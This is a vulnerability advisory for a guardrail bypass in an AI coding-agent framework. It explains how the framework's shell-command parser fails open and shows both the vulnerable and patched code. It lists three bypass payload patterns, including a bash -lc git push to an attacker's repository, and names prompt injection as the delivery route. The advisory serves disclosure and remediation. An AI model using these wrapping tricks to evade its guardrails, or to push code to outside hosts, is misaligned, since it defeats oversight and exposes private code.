CVE-2026-62676: Security Guardrail Policy Bypass via Shell-Command Parser Flaws in Omnigent AI Agent Framework

The Omnigent framework is an open-source AI agent system designed to orchestrate autonomous coding tasks. To limit potential damage from running generated code, the framework implements guardrails. These guardrails gate execution contexts and ensure agents remain within their assigned directory boundaries and remote source code repositories.

The shell-command parser implemented in omnigent/policies/builtins/_shell.py analyzes commands to identify potentially hazardous actions. The parser's primary function is to inspect target commands (such as git push or path manipulation) and hand them to the active guardrail engine.

Due to parsing gaps in handling nested wrappers, complex CLI flags, and subshell executions, the parser fails to identify these hazardous actions. Because the default behavior of these guardrails is to abstain and fail open, any failed parsing attempt results in the execution of the unauthorized command.

The root cause is classified under CWE-184: Incomplete List of Disallowed Inputs, coupled with a fail-open mechanism in the validation engine. When the parser in _shell.py encounters a command string, it splits the arguments and compares the root execution tokens against known target patterns.

If a command is wrapped using option-bearing wrappers with duration configurations (for example, timeout -s KILL 5m git push), the original parser was unable to skip the option parameters. It treated the argument -s or 5m as the base command, leaving the trailing target command undetected.

Furthermore, the parser failed to recursive-evaluate interpreter targets when flags were grouped together (e.g., bash -lc instead of bash -c). Command substitutions like $(...) and backticks were skipped entirely, with the parser treating the outer statement as a safe assignment. When the parser failed to recognize any actionable commands, it returned None, leading the policy engine to assume no gated activities were being executed.

The vulnerability lies in omnigent/policies/builtins/_shell.py. Below is the logical transition of the shell-command parser showing the insecure implementation and the subsequent patch introduced in commit 1a05b7b139ef504bf2be89bf37918abe104fb95c.

Vulnerable Parser Logic

Previously, only bare commands or basic wrappers listed in CMD_WRAPPERS were skipped. The parser lacked logic to evaluate structured arguments like timeouts or nested evaluations:

# VULNERABLE
CMD_WRAPPERS: frozenset[str] = frozenset({"sudo", "env", "command", "time", "nohup", "exec"})
# Did not handle wrappers with flags (such as 'timeout -s KILL 5m')
# Did not scan for command substitutions like $(...)

Patched Parser Implementation

The patch introduces structured skipping of flags and durations, and extracts nested executions recursively.

# PATCHED
# Map specific wrappers to their expected flag options
_FLAG_WRAPPERS: dict[str, frozenset[str]] = {
    "timeout": frozenset({"-s", "--signal", "-k", "--kill-after"}),
    "nice": frozenset({"-n", "--adjustment"}),
    "stdbuf": frozenset({"-i", "--input", "-o", "--output", "-e", "--error"}),
    "setsid": frozenset(),
}
_DURATION_WRAPPERS: frozenset[str] = frozenset({"timeout"})
_INTERPRETER_C_FLAG = re.compile(r"-[A-Za-z]*c[A-Za-z]*$")
 
# The split logic now scans command substitutions first
def split_command_segments(command: str) -> list[str]:
    outer, bodies = _extract_command_substitutions(command)
    parts = re.split(r"&&|\|\||[;|\n&]", outer)
    segments = [seg.strip() for seg in parts if seg.strip()]
    for body in bodies:
        segments.extend(split_command_segments(body))
    return segments

This implementation uses a balanced-parenthesis scanner to extract the inner segments of $() and backticks, ensuring hidden operations are queued for structural validation.

Exploitation requires the attacker to have the ability to supply shell commands to the agent. This is typically achieved via remote prompt injection or by compromising an execution branch. Once the agent executes a structured bypass payload, the guardrail fails.

An attacker can construct payloads leveraging three major bypass patterns:

1. Interpreter Flags: Bypassing detection using unified flags (e.g., bash -lc "git push https://github.com/attacker/evil main"). The parser fails to parse -lc and returns None.

2. Duration Wrappers: Structuring command options to disrupt parameter counts (e.g., timeout -s KILL 5m git push ...). The parser fails to step over -s KILL 5m and misses the trailing payload.

3. Subshell Assignments: Escaping detection using environment variables (e.g., x=$(git push ...)). The parser classifies this as a simple assignment rather than evaluating the inner shell execution.

The bypass vulnerability is assigned a CVSS score of 7.1. Because AI coding agents are frequently integrated directly into CI/CD pipelines and given write access to code repositories, the ability to bypass guardrails yields direct access to target hosts or main codebases.

An attacker can abuse this bypass to exfiltrate private source code, write directly to restricted branches, or modify operational files. If the agent's sandbox shares network namespaces with local services, this vulnerability can lead to unauthorized service interactions.

Because the guardrails default to allowing execution if parsing fails, any unrecognized or highly nested shell commands execute directly on the target workspace, making containment highly difficult.

The primary remediation is upgrading the Omnigent AI framework to version v0.3.0 or later. This version contains the rewritten command parser which correctly evaluates nested payloads, wrappers, and shell parameters.

If upgrading is not immediately possible, deploy structural configurations to mitigate the risk. Restrict the shell interpreters available in the agent execution environment, or disable the default shell execution tools entirely.

Implement secondary network-level controls to prevent unauthorized git push attempts. Use repository branch protection rules to enforce dual-party reviews on all branches, ensuring malicious changes cannot be merged even if the guardrails are bypassed.